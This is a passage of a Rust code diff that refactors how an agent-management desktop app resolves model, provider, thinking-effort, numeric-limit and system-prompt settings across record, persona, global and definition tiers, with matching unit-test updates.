ConfigTierStatus::Pending } } else { @@ -226,9 +205,27 @@ fn mcp_config_file_path_for_runtime(runtime: &KnownAcpRuntime) -> Option } } +/// Extract an env-backed candidate value for `env_key` from each tier in +/// spawn precedence: record env > persona env > global env > definition env. +/// Returns `[record, persona, global, definition]` — `None` when key is absent. +fn env_candidates<'a>( + env_key: &str, + record_env: &'a std::collections::BTreeMap, + persona_env: &'a std::collections::BTreeMap, + global_env: &'a std::collections::BTreeMap, + definition_env: &'a std::collections::BTreeMap, +) -> [Option<&'a str>; 4] { + [ + record_env.get(env_key).map(String::as_str), + persona_env.get(env_key).map(String::as_str), + global_env.get(env_key).map(String::as_str), + definition_env.get(env_key).map(String::as_str), + ] +} + #[allow(clippy::too_many_arguments)] fn build_model_field( - record_model: &Option, + record: &ManagedAgentRecord, file_model: &Option, acp_model: &Option, model_env_var: Option<&str>, @@ -236,30 +233,109 @@ fn build_model_field( is_pre_spawn: bool, session_cache: Option<&SessionConfigCache>, is_required: bool, + model_overridden: bool, + tiers: &InheritedConfigTiers, ) -> NormalizedField { - // Precedence: Buzz-explicit > ACP current > config file - let (value, origin) = if let Some(ref m) = record_model { - (Some(m.clone()), ConfigOrigin::BuzzExplicit) - } else if let Some(ref m) = acp_model { - (Some(m.clone()), ConfigOrigin::AcpConfigOption) - } else if let Some(ref m) = file_model { - (Some(m.clone()), ConfigOrigin::ConfigFile) - } else { - // No value from any tier. EnvVar is the sentinel origin for "no value - // resolved" — there is no dedicated None-origin variant. The panel - // renders this as an empty/absent field. - (None, ConfigOrigin::EnvVar) - }; + let [rec_env, pers_env, glob_env, def_env] = model_env_var + .map(|k| { + env_candidates( + k, + &record.env_vars, + &tiers.persona_env, + &tiers.global_env, + &tiers.definition_env, + ) + }) + .unwrap_or([None, None, None, None]); + + // Structured record model (definition-less only; linked cleared upstream). + let struct_record = record.model.as_deref(); + let struct_persona = tiers.persona_model.as_deref(); + let struct_global = tiers.global_model.as_deref(); + + // Configured candidates in spawn order: record env > persona env > global env > + // definition env > struct record > struct persona > struct global > file. + // The file entry is always last; everything before it is a "configured" candidate + // that gates whether ACP participates as a fallback (see any_configured below). + let configured: &[(Option<&str>, ConfigOrigin)] = &[ + (rec_env, ConfigOrigin::BuzzExplicit), + (pers_env, ConfigOrigin::PersonaDefault), + (glob_env, ConfigOrigin::GlobalDefault), + (def_env, ConfigOrigin::HarnessDefault), + (struct_record, ConfigOrigin::BuzzExplicit), + (struct_persona, ConfigOrigin::PersonaDefault), + (struct_global, ConfigOrigin::GlobalDefault), + (file_model.as_deref(), ConfigOrigin::ConfigFile), + ]; + // "Configured" = any non-file candidate. The file entry is always last, so + // slicing to len()-1 is equivalent to the old magic `[..6]` and stays correct + // if the array ever grows again. + let any_configured = configured[..configured.len() - 1] + .iter() + .any(|(v, _)| v.is_some()); + + // When model_overridden is true and ACP is present, ACP is the live winner. + // The top configured candidate becomes the secondary (the overridden baseline). + // Equal-value case: ACP == baseline → fall through to normal resolution so + // the field carries the correct baseline origin rather than RuntimeOverride. + if model_overridden { + if let Some(acp) = acp_model.as_deref() { + let baseline = configured.iter().find(|(v, _)| v.is_some()); + match baseline { + Some((Some(baseline_value), _)) if acp == *baseline_value => { + // Equal-value switch: no real divergence. + // Fall through to the normal resolve path below — it will + // return the same value with its true baseline origin, with + // no secondary row. + } + Some((Some(baseline_value), baseline_origin)) => { + return NormalizedField { + value: Some(acp.to_string()), + origin: ConfigOrigin::RuntimeOverride, + write_via: model_write_mechanism( + is_pre_spawn, + supports_acp_model, + session_cache, + model_env_var, + ), + overridden_value: Some(baseline_value.to_string()), + overridden_origin: Some(baseline_origin.clone()), + is_required, + }; + } + _ => { + // No configured baseline — ACP is the only source. + return NormalizedField { + value: Some(acp.to_string()), + origin: ConfigOrigin::RuntimeOverride, + write_via: model_write_mechanism( + is_pre_spawn, + supports_acp_model, + session_cache, + model_env_var, + ), + overridden_value: None, + overridden_origin: None, + is_required, + }; + } + } + } + } - // The secondary expresses ONLY the static record-vs-file precedence: a - // Buzz-explicit model shadowing a config-file model. The live-session - // override (acp vs record/persona) is exclusively `apply_runtime_override`'s - // job, gated on `model_overridden`. Surfacing `acp_model` here would leak an - // override row even when no live switch has been applied. - let (overridden_value, overridden_origin) = if record_model.is_some() && file_model.is_some() { - (file_model.clone(), Some(ConfigOrigin::ConfigFile)) + let (value, origin, overridden_value, overridden_origin) = if !any_configured { + // No configured candidate: ACP participates as AcpConfigOption fallback. + let full: &[(Option<&str>, ConfigOrigin)] = &[ + (acp_model.as_deref(), ConfigOrigin::AcpConfigOption), + (file_model.as_deref(), ConfigOrigin::ConfigFile), + ]; + resolve_with_override(full).unwrap_or((None, ConfigOrigin::EnvVar, None, None)) } else { - (None, None) + // ACP excluded: a configured value is pending and wins over live ACP. + match resolve_with_override(configured) { + Some(r) => r, + None => (None, ConfigOrigin::EnvVar, None, None), + } }; let write_via = model_write_mechanism( @@ -280,7 +356,6 @@ fn build_model_field( } /// Resolve how the model field is written back to the runtime. -/// Prefer ACP `set_config_option`/`set_model` post-spawn, else env-var respawn. fn model_write_mechanism( is_pre_spawn: bool, supports_acp_model: bool, @@ -301,67 +376,13 @@ fn model_write_mechanism( } } -/// Re-key the model field as a live runtime override when the harness signals -/// that a `SwitchModel` control signal set the model (Phase 3c). -/// -/// The override-active signal is `model_overridden` from the -/// `session_config_captured` payload — NOT `acp_model != persona_model`, which -/// would false-positive when a persona model is edited mid-life while the -/// session is stale on the old model. -/// -/// `baseline` is the value the live model overrides, paired with its true -/// origin — `(persona_model, PersonaDefault)` for a persona-linked agent, or -/// `(record_model, BuzzExplicit)` for a genuine-explicit agent that live- -/// switched. It is `Some` only when there is such a baseline to override -/// against; otherwise the field passes through unchanged. Carrying the origin -/// in the pair (rather than hardcoding it) lets the secondary be tagged by its -/// real source instead of always reading `PersonaDefault`. -/// -/// The `acp == baseline_value` short-circuit keeps a live pick of the baseline -/// model itself from rendering a no-op "override of X with X". It yields a -/// CLEAN single-value field — `overridden_value`/`overridden_origin` cleared — -/// rather than passing `base` through, because `build_model_field` already -/// populates `base`'s secondary with an `AcpConfigOption` row for the -/// record-model-plus-live-session case; returning `base` would leak that -/// spurious row. The override preserves the base field's write mechanism — only -/// the displayed value, origin, and secondary change. -fn apply_runtime_override( - base: NormalizedField, - acp_model: Option<&str>, - baseline: Option<(&str, ConfigOrigin)>, - model_overridden: bool, -) -> NormalizedField { - if !model_overridden { - return base; - } - let (Some(acp), Some((baseline_value, baseline_origin))) = (acp_model, baseline) else { - return base; - }; - if acp == baseline_value { - // Live pick equals the baseline — no real divergence. Strip any - // secondary `build_model_field` may have produced so the panel shows a - // single clean value rather than "X overridden by X". - return NormalizedField { - overridden_value: None, - overridden_origin: None, - ..base - }; - } - NormalizedField { - value: Some(acp.to_string()), - origin: ConfigOrigin::RuntimeOverride, - overridden_value: Some(baseline_value.to_string()), - overridden_origin: Some(baseline_origin), - ..base - } -} - fn build_provider_field( - record_provider: &Option, + record: &ManagedAgentRecord, file_provider: &Option, provider_env_var: Option<&str>, provider_locked: bool, is_required: bool, + tiers: &InheritedConfigTiers, ) -> Option { if provider_locked { return Some(NormalizedField { @@ -374,15 +395,43 @@ fn build_provider_field( }); } - let tiers: &[(Option<&str>, ConfigOrigin)] = &[ - (record_provider.as_deref(), ConfigOrigin::BuzzExplicit), + let [rec_env, pers_env, glob_env, def_env] = provider_env_var + .map(|k| { + env_candidates( + k, + &record.env_vars, + &tiers.persona_env, + &tiers.global_env, + &tiers.definition_env, + ) + }) + .unwrap_or([None, None, None, None]); + + let struct_record = record.provider.as_deref(); + + let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[ + (rec_env, ConfigOrigin::BuzzExplicit), + (pers_env, ConfigOrigin::PersonaDefault), + (glob_env, ConfigOrigin::GlobalDefault), + (def_env, ConfigOrigin::HarnessDefault), + (struct_record, ConfigOrigin::BuzzExplicit), + ( + tiers.persona_provider.as_deref(), + ConfigOrigin::PersonaDefault, + ), + ( + tiers.global_provider.as_deref(), + ConfigOrigin::GlobalDefault, + ), (file_provider.as_deref(), ConfigOrigin::ConfigFile), ]; - let (value, origin, overridden_value, overridden_origin) = match resolve_with_override(tiers) { - Some(resolved) => resolved, - None if is_required => (None, ConfigOrigin::EnvVar, None, None), - None => return None, - }; + + let (value, origin, overridden_value, overridden_origin) = + match resolve_with_override(tiers_list) { + Some(resolved) => resolved, + None if is_required => (None, ConfigOrigin::EnvVar, None, None), + None => return None, + }; let write_via = if let Some(env_key) = provider_env_var { ConfigWriteMechanism::RespawnWithEnvVar { @@ -432,20 +481,38 @@ fn build_mode_field( }) } +#[allow(clippy::too_many_arguments)] fn build_thinking_field( - record_effort: &Option, + record: &ManagedAgentRecord, file_effort: &Option, acp_effort: &Option, thinking_env_var: Option<&str>, is_pre_spawn: bool, session_cache: Option<&SessionConfigCache>, + tiers: &InheritedConfigTiers, ) -> Option { - let tiers: &[(Option<&str>, ConfigOrigin)] = &[ - (record_effort.as_deref(), ConfigOrigin::BuzzExplicit), + // Tier ordering: record env > ACP > persona env > global env > definition env > config file. + let [rec_env, pers_env, glob_env, def_env] = thinking_env_var + .map(|k| { + env_candidates( + k, + &record.env_vars, + &tiers.persona_env, + &tiers.global_env, + &tiers.definition_env, + ) + }) + .unwrap_or([None, None, None, None]); + + let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[ + (rec_env, ConfigOrigin::BuzzExplicit), (acp_effort.as_deref(), ConfigOrigin::AcpConfigOption), + (pers_env, ConfigOrigin::PersonaDefault), + (glob_env, ConfigOrigin::GlobalDefault), + (def_env, ConfigOrigin::HarnessDefault), (file_effort.as_deref(), ConfigOrigin::ConfigFile), ]; - let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers)?; + let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers_list)?; let write_via = if !is_pre_spawn && has_config_option(session_cache, "effort") { ConfigWriteMechanism::AcpSetConfigOption { @@ -469,67 +536,105 @@ fn build_thinking_field( }) } -/// Numeric fields (max_output_tokens, context_limit) — env-var tier wins over -/// config-file tier. When an env var key is given and present in the record's -/// env_vars map the field is BuzzExplicit + RespawnWithEnvVar; otherwise if the -/// config file supplied a value it is ConfigFile + ReadOnly; otherwise None. +/// Numeric fields (max_output_tokens, context_limit). +/// Tier ordering: record env > persona env > global env > config file. fn build_numeric_env_field( env_var: Option<&'static str>, - record_env: &std::collections::BTreeMap, + record: &ManagedAgentRecord, file_value: &Option, + tiers: &InheritedConfigTiers, ) -> Option { - if let Some(key) = env_var { - if let Some(v) = record_env.get(key) { - return Some(NormalizedField { - value: Some(v.clone()), - origin: ConfigOrigin::BuzzExplicit, - write_via: ConfigWriteMechanism::RespawnWithEnvVar { - env_key: key.to_string(), - }, - overridden_value: file_value.clone(), - overridden_origin: file_value.as_ref().map(|_| ConfigOrigin::ConfigFile), - is_required: false, - }); + let [rec_env, pers_env, glob_env, def_env] = env_var + .map(|k| { + env_candidates( + k, + &record.env_vars, + &tiers.persona_env, + &tiers.global_env, + &tiers.definition_env, + ) + }) + .unwrap_or([None, None, None, None]); + + let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[ + (rec_env, ConfigOrigin::BuzzExplicit), + (pers_env, ConfigOrigin::PersonaDefault), + (glob_env, ConfigOrigin::GlobalDefault), + (def_env, ConfigOrigin::HarnessDefault), + (file_value.as_deref(), ConfigOrigin::ConfigFile), + ]; + + let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers_list)?; + + let write_via = if let Some(key) = env_var { + ConfigWriteMechanism::RespawnWithEnvVar { + env_key: key.to_string(), } - } - file_value.as_ref().map(|v| NormalizedField { - value: Some(v.clone()), - origin: ConfigOrigin::ConfigFile, - write_via: ConfigWriteMechanism::ReadOnly, - overridden_value: None, - overridden_origin: None, + } else { + ConfigWriteMechanism::ReadOnly + }; + + Some(NormalizedField { + value, + origin, + write_via, + overridden_value, + overridden_origin, is_required: false, }) } -/// Record/env prompt wins (BuzzExplicit, respawnable); a config-file prompt it -/// shadows is reported as the overridden secondary. A config-file-only prompt -/// — no record/env value to shadow it — is surfaced directly (read-only) -/// instead of being dropped: a prompt that drives the agent should always be -/// visible somewhere in the panel. +/// System prompt field. +/// +/// Tier ordering per v3 plan: record env > persona env > global env > +/// struct record > struct persona > config file. +/// +/// Env tiers sit above structured per spawn contract: `descriptor.env` is +/// written last (after the structured prompt), so env wins on collision. +/// `GlobalAgentConfig` has no structured system_prompt, so the global tier +/// is env-only. `BUZZ_ACP_SYSTEM_PROMPT` is not reserved and is therefore +/// a real global env tier. fn build_system_prompt_field( - record_prompt: &Option, + record: &ManagedAgentRecord, file_prompt: &Option, + tiers: &InheritedConfigTiers, ) -> Option { - if let Some(v) = record_prompt { - return Some(NormalizedField { - value: Some(v.clone()), - origin: ConfigOrigin::BuzzExplicit, - write_via: ConfigWriteMechanism::RespawnWithEnvVar { - env_key: "BUZZ_ACP_SYSTEM_PROMPT".to_string(), - }, - overridden_value: file_prompt.clone(), - overridden_origin: file_prompt.as_ref().map(|_| ConfigOrigin::ConfigFile), - is_required: false, - }); - } + const PROMPT_ENV_KEY: &str = "BUZZ_ACP_SYSTEM_PROMPT"; + + let [rec_env, pers_env, glob_env, def_env] = env_candidates( + PROMPT_ENV_KEY, + &record.env_vars, + &tiers.persona_env, + &tiers.global_env, + &tiers.definition_env, + ); + + // Structured record prompt (definition-less only; linked cleared upstream). + let struct_record = record.system_prompt.as_deref(); + + let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[ + (rec_env, ConfigOrigin::BuzzExplicit), // record env + (pers_env, ConfigOrigin::PersonaDefault), // persona env + (glob_env, ConfigOrigin::GlobalDefault), // global env + (def_env, ConfigOrigin::HarnessDefault), // definition env + (struct_record, ConfigOrigin::BuzzExplicit), // struct record + ( + tiers.persona_prompt.as_deref(), + ConfigOrigin::PersonaDefault, + ), // struct persona + (file_prompt.as_deref(), ConfigOrigin::ConfigFile), + ]; - file_prompt.as_ref().map(|v| NormalizedField { - value: Some(v.clone()), - origin: ConfigOrigin::ConfigFile, - write_via: ConfigWriteMechanism::ReadOnly, - overridden_value: None, - overridden_origin: None, + let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers_list)?; + + Some(NormalizedField { + value, + origin, + write_via: ConfigWriteMechanism::RespawnWithEnvVar { + env_key: PROMPT_ENV_KEY.to_string(), + }, + overridden_value, + overridden_origin, is_required: false, }) } diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs index 4ee4ec79c3..62caffeb2e 100644 --- a/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs +++ b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs @@ -56,6 +56,7 @@ fn test_runtime() -> &'static KnownAcpRuntime { thinking_env_var: Some("GOOSE_THINKING_EFFORT"), max_tokens_env_var: Some("GOOSE_MAX_TOKENS"), context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"), + max_rounds_env_var: None, required_normalized_fields: &["model", "provider"], login_hint: None, auth_probe_args: None, @@ -120,11 +121,53 @@ fn test_record() -> ManagedAgentRecord { } } +/// Default empty tiers: no persona or global inheritance. +fn no_tiers() -> InheritedConfigTiers { + InheritedConfigTiers::default() +} + +/// Tiers with only global env set (for AC-1 style tests). +fn global_env_tiers(key: &str, val: &str) -> InheritedConfigTiers { + let mut global_env = BTreeMap::new(); + global_env.insert(key.to_string(), val.to_string()); + InheritedConfigTiers { + global_env, + ..Default::default() + } +} + +/// Tiers with only persona env set. +fn persona_env_tiers(key: &str, val: &str) -> InheritedConfigTiers { + let mut persona_env = BTreeMap::new(); + persona_env.insert(key.to_string(), val.to_string()); + InheritedConfigTiers { + persona_env, + ..Default::default() + } +} + +/// Tiers with both persona and global env set for the same key. +fn persona_and_global_env_tiers( + key: &str, + persona_val: &str, + global_val: &str, +) -> InheritedConfigTiers { + let mut persona_env = BTreeMap::new(); + persona_env.insert(key.to_string(), persona_val.to_string()); + let mut global_env = BTreeMap::new(); + global_env.insert(key.to_string(), global_val.to_string()); + InheritedConfigTiers { + persona_env, + global_env, + ..Default::default() + } +} + #[test] fn pre_spawn_surface_reports_pending_acp_tiers() { let record = test_record(); let runtime = test_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); assert!(surface.is_pre_spawn); assert_eq!(surface.sources.acp_native, ConfigTierStatus::Pending); @@ -140,7 +183,7 @@ fn surface_reports_mcp_specific_config_path() { let record = test_record(); let runtime = test_runtime(); let surface = with_goose_path_root(None, || { - read_config_surface(&record, Some(runtime), None, None) + read_config_surface(&record, Some(runtime), None, &no_tiers()) }); let path = surface @@ -159,7 +202,7 @@ fn goose_mcp_config_path_follows_path_root_override() { let record = test_record(); let runtime = test_runtime(); let surface = with_goose_path_root(Some("/tmp/buzz-goose-root"), || { - read_config_surface(&record, Some(runtime), None, None) + read_config_surface(&record, Some(runtime), None, &no_tiers()) }); let expected_path = Path::new("/tmp/buzz-goose-root") @@ -183,7 +226,7 @@ fn claude_surface_uses_mcp_config_path_not_settings_path() { config_file_path: Some("~/.claude/settings.json"), ..*test_runtime() }; - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); assert!(surface .sources @@ -203,7 +246,7 @@ fn record_model_overrides_file_model() { record.model = Some("explicit-model".to_string()); let runtime = test_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let model = surface.normalized.model.unwrap(); assert_eq!(model.value.as_deref(), Some("explicit-model")); assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); @@ -216,7 +259,7 @@ fn provider_locked_shows_locked() { provider_locked: true, ..*test_runtime() }; - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let provider = surface.normalized.provider.unwrap(); assert_eq!(provider.value.as_deref(), Some("Anthropic (locked)")); assert_eq!(provider.origin, ConfigOrigin::HarnessConstraint); @@ -242,7 +285,7 @@ fn post_spawn_with_model_config_option_uses_acp() { captured_at: "".to_string(), }; - let surface = read_config_surface(&record, Some(runtime), Some(&cache), None); + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &no_tiers()); assert!(!surface.is_pre_spawn); let model = surface.normalized.model.unwrap(); assert_eq!(model.value.as_deref(), Some("claude-opus-4")); @@ -266,53 +309,86 @@ fn acp_model_overrides_file_model_with_override_tracking() { captured_at: "".to_string(), }; - let surface = read_config_surface(&record, Some(runtime), Some(&cache), None); + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &no_tiers()); let model = surface.normalized.model.unwrap(); assert_eq!(model.value.as_deref(), Some("acp-model")); assert_eq!(model.origin, ConfigOrigin::AcpConfigOption); - // The goose config file might have a model too — since we can't control - // the actual file in a unit test, just verify the override fields are populated - // when we manually construct the scenario via build_model_field. } -// ── Persona resolution integration tests ──────────────────────────── -// -// These simulate the call-site pattern in agent_config.rs: -// 1. Inject persona-resolved values into the record (as if absent) -// 2. Call read_config_surface (reader tags them BuzzExplicit) -// 3. Re-tag injected fields to PersonaDefault +// ── Persona / global tier integration tests ────────────────────────────────── // -// This exercises the same logic path as get_agent_config_surface without -// requiring Tauri AppHandle/State infrastructure. +// These exercise the tiers-based candidate resolution for model, provider, and +// system_prompt via `InheritedConfigTiers` — replacing the old inject+retag +// simulation tests. #[test] -fn persona_model_injection_produces_persona_default_origin() { - let mut record = test_record(); - // Simulate: record has no model, persona provides one. - // The call-site injects it before calling the reader. - record.model = Some("persona-model".to_string()); +fn persona_model_tier_produces_persona_default_origin() { + let record = test_record(); // no record.model let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + persona_model: Some("persona-model".to_string()), + ..Default::default() + }; - let mut surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &tiers); - // Reader sees injected model as BuzzExplicit. - let model = surface.normalized.model.as_ref().unwrap(); + let model = surface.normalized.model.unwrap(); assert_eq!(model.value.as_deref(), Some("persona-model")); - assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); + assert_eq!(model.origin, ConfigOrigin::PersonaDefault); +} - // Call-site re-tags (simulating had_model == false). - if let Some(ref mut field) = surface.normalized.model { - if field.origin == ConfigOrigin::BuzzExplicit { - field.origin = ConfigOrigin::PersonaDefault; - } - } +#[test] +fn global_model_tier_produces_global_default_origin() { + let record = test_record(); + let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + global_model: Some("global-model".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); let model = surface.normalized.model.unwrap(); - assert_eq!(model.value.as_deref(), Some("persona-model")); - assert_eq!(model.origin, ConfigOrigin::PersonaDefault); + assert_eq!(model.value.as_deref(), Some("global-model")); + assert_eq!(model.origin, ConfigOrigin::GlobalDefault); +} + +#[test] +fn persona_provider_tier_produces_persona_default_origin() { + let record = test_record(); + let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + persona_provider: Some("anthropic".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let provider = surface.normalized.provider.unwrap(); + assert_eq!(provider.value.as_deref(), Some("anthropic")); + assert_eq!(provider.origin, ConfigOrigin::PersonaDefault); } -// ── Runtime override (Phase 3c) ────────────────────────────────────── +#[test] +fn persona_prompt_tier_produces_persona_default_origin() { + let record = test_record(); + let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + persona_prompt: Some("You are a helpful assistant.".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let prompt = surface.normalized.system_prompt.unwrap(); + assert_eq!( + prompt.value.as_deref(), + Some("You are a helpful assistant.") + ); + assert_eq!(prompt.origin, ConfigOrigin::PersonaDefault); +} + +// ── Runtime override (model_overridden gate) ────────────────────────────────── // // A live ModelPicker switch is signalled by `model_overridden: true` in the // `session_config_captured` payload. The reader keys the override-active @@ -321,7 +397,7 @@ fn persona_model_injection_produces_persona_default_origin() { #[test] fn runtime_override_wins_display_when_model_overridden_is_true() { - // Persona-linked agent (record.model == None); persona == "persona-model". + // Persona-linked agent (record.model == None); persona model via tiers. // A live switch pushed "live-model" to the session and set model_overridden. let record = test_record(); let runtime = test_runtime(); @@ -334,29 +410,27 @@ fn runtime_override_wins_display_when_model_overridden_is_true() { goose_native_config: None, captured_at: "".to_string(), }; + let tiers = InheritedConfigTiers { + persona_model: Some("persona-model".to_string()), + ..Default::default() + }; - let surface = read_config_surface( - &record, - Some(runtime), - Some(&cache), - Some(("persona-model", ConfigOrigin::PersonaDefault)), - ); + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers); let model = surface.normalized.model.unwrap(); // Override wins the display value with a runtime-override origin. assert_eq!(model.value.as_deref(), Some("live-model")); assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); - // Persona is the secondary value (not struck through — the UI keys off - // the RuntimeOverride origin to suppress strikethrough). + // Persona is the secondary value. assert_eq!(model.overridden_value.as_deref(), Some("persona-model")); assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); } #[test] fn no_runtime_override_when_model_overridden_is_false() { - // At spawn the session's current_model == persona model (BUZZ_ACP_MODEL - // is set to the persona model) and model_overridden is false. No override; - // the field falls through to normal precedence. + // At spawn the session's current_model == persona model and + // model_overridden is false. No override; field falls through to normal + // precedence. let record = test_record(); let runtime = test_runtime(); let cache = SessionConfigCache { @@ -368,17 +442,15 @@ fn no_runtime_override_when_model_overridden_is_false() { goose_native_config: None, captured_at: "".to_string(), }; + let tiers = InheritedConfigTiers { + persona_model: Some("persona-model".to_string()), + ..Default::default() + }; - let surface = read_config_surface( - &record, - Some(runtime), - Some(&cache), - Some(("persona-model", ConfigOrigin::PersonaDefault)), - ); + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers); let model = surface.normalized.model.unwrap(); - // model_overridden is false => the override branch is not taken: origin - // is the normal precedence result, never RuntimeOverride. + // model_overridden is false => the override branch is not taken. assert_ne!(model.origin, ConfigOrigin::RuntimeOverride); assert_eq!(model.value.as_deref(), Some("persona-model")); assert_ne!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); @@ -402,106 +474,51 @@ fn no_false_positive_override_when_persona_edited_mid_life() { goose_native_config: None, captured_at: "".to_string(), }; + let tiers = InheritedConfigTiers { + persona_model: Some("new-persona-model".to_string()), + ..Default::default() + }; - let surface = read_config_surface( - &record, - Some(runtime), - Some(&cache), - Some(("new-persona-model", ConfigOrigin::PersonaDefault)), - ); + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers); let model = surface.normalized.model.unwrap(); // model_overridden is false => no RuntimeOverride, even though // acp_model != persona_model. The old divergence-based signal would - // have false-positived here. The persona is never surfaced as the - // overridden secondary (that marker is exclusive to a real override). + // have false-positived here. assert_ne!(model.origin, ConfigOrigin::RuntimeOverride); assert_ne!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); } -#[test] -fn persona_provider_injection_produces_persona_default_origin() { - let mut record = test_record(); - // Simulate: record has no provider env var, persona provides one. - // The call-site injects it as GOOSE_PROVIDER before calling the reader. - record - .env_vars - .insert("GOOSE_PROVIDER".to_string(), "anthropic".to_string()); - let runtime = test_runtime(); - - let mut surface = read_config_surface(&record, Some(runtime), None, None); - - // Reader sees injected provider as BuzzExplicit. - let provider = surface.normalized.provider.as_ref().unwrap(); - assert_eq!(provider.value.as_deref(), Some("anthropic")); - assert_eq!(provider.origin, ConfigOrigin::BuzzExplicit); - - // Call-site re-tags (simulating had_provider == false). - if let Some(ref mut field) = surface.normalized.provider { - if field.origin == ConfigOrigin::BuzzExplicit { - field.origin = ConfigOrigin::PersonaDefault; - } - } - - let provider = surface.normalized.provider.unwrap(); - assert_eq!(provider.value.as_deref(), Some("anthropic")); - assert_eq!(provider.origin, ConfigOrigin::PersonaDefault); -} - -#[test] -fn persona_system_prompt_injection_produces_persona_default_origin() { - let mut record = test_record(); - // Simulate: record has no system_prompt, persona provides one via env var. - // The call-site injects it as BUZZ_ACP_SYSTEM_PROMPT before calling the reader. - record.env_vars.insert( - "BUZZ_ACP_SYSTEM_PROMPT".to_string(), - "You are a helpful assistant.".to_string(), - ); - let runtime = test_runtime(); - - let mut surface = read_config_surface(&record, Some(runtime), None, None); - - // Reader sees injected prompt as BuzzExplicit. - let prompt = surface.normalized.system_prompt.as_ref().unwrap(); - assert_eq!( - prompt.value.as_deref(), - Some("You are a helpful assistant.") - ); - assert_eq!(prompt.origin, ConfigOrigin::BuzzExplicit); - - // Call-site re-tags (simulating had_prompt == false). - if let Some(ref mut field) = surface.normalized.system_prompt { - if field.origin == ConfigOrigin::BuzzExplicit { - field.origin = ConfigOrigin::PersonaDefault; - } - } - - let prompt = surface.normalized.system_prompt.unwrap(); - assert_eq!( - prompt.value.as_deref(), - Some("You are a helpful assistant.") - ); - assert_eq!(prompt.origin, ConfigOrigin::PersonaDefault); -} +// ── system_prompt builder unit tests ───────────────────────────────────────── #[test] -fn config_file_only_system_prompt_surfaces_as_read_only_config_file_field() { - // Record/env has no prompt; the config file does. It must NOT be - // dropped — it should surface with ConfigFile origin, read-only. - let field = build_system_prompt_field(&None, &Some("File-driven prompt.".to_string())).unwrap(); +fn config_file_only_system_prompt_surfaces_as_config_file_origin() { + // Record/env has no prompt; the config file does. Must surface with + // ConfigFile origin. Write mechanism is always RespawnWithEnvVar for + // system_prompt — the UI writes back via BUZZ_ACP_SYSTEM_PROMPT. + let record = test_record(); + let field = build_system_prompt_field( + &record, + &Some("File-driven prompt.".to_string()), + &no_tiers(), + ) + .unwrap(); assert_eq!(field.value.as_deref(), Some("File-driven prompt.")); assert_eq!(field.origin, ConfigOrigin::ConfigFile); - assert!(matches!(field.write_via, ConfigWriteMechanism::ReadOnly)); + assert!(matches!( + field.write_via, + ConfigWriteMechanism::RespawnWithEnvVar { ref env_key } + if env_key == "BUZZ_ACP_SYSTEM_PROMPT" + )); assert!(field.overridden_value.is_none()); } #[test] fn record_system_prompt_shadows_config_file_prompt_as_secondary() { - let field = build_system_prompt_field( - &Some("Record prompt.".to_string()), - &Some("File prompt.".to_string()), - ) - .unwrap(); + let mut record = test_record(); + record.system_prompt = Some("Record prompt.".to_string()); + let field = + build_system_prompt_field(&record, &Some("File prompt.".to_string()), &no_tiers()).unwrap(); assert_eq!(field.value.as_deref(), Some("Record prompt.")); assert_eq!(field.origin, ConfigOrigin::BuzzExplicit); assert_eq!(field.overridden_value.as_deref(), Some("File prompt.")); @@ -510,19 +527,19 @@ fn record_system_prompt_shadows_config_file_prompt_as_secondary() { #[test] fn no_system_prompt_from_any_tier_yields_none() { - assert!(build_system_prompt_field(&None, &None).is_none()); + let record = test_record(); + assert!(build_system_prompt_field(&record, &None, &no_tiers()).is_none()); } #[test] fn explicit_record_model_not_retagged_when_already_present() { let mut record = test_record(); - // Record already has its own model — persona resolution should NOT re-tag. + // Record already has its own model — origin stays BuzzExplicit. record.model = Some("explicit-model".to_string()); let runtime = test_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); - // had_model == true, so no re-tagging occurs. Origin stays BuzzExplicit. let model = surface.normalized.model.unwrap(); assert_eq!(model.value.as_deref(), Some("explicit-model")); assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); @@ -544,7 +561,7 @@ fn extra_env_vars_appear_in_advanced_as_buzz_explicit() { .insert("SPROUT_ACP_MEMORY".to_string(), "mem-value".to_string()); let runtime = test_runtime(); - let 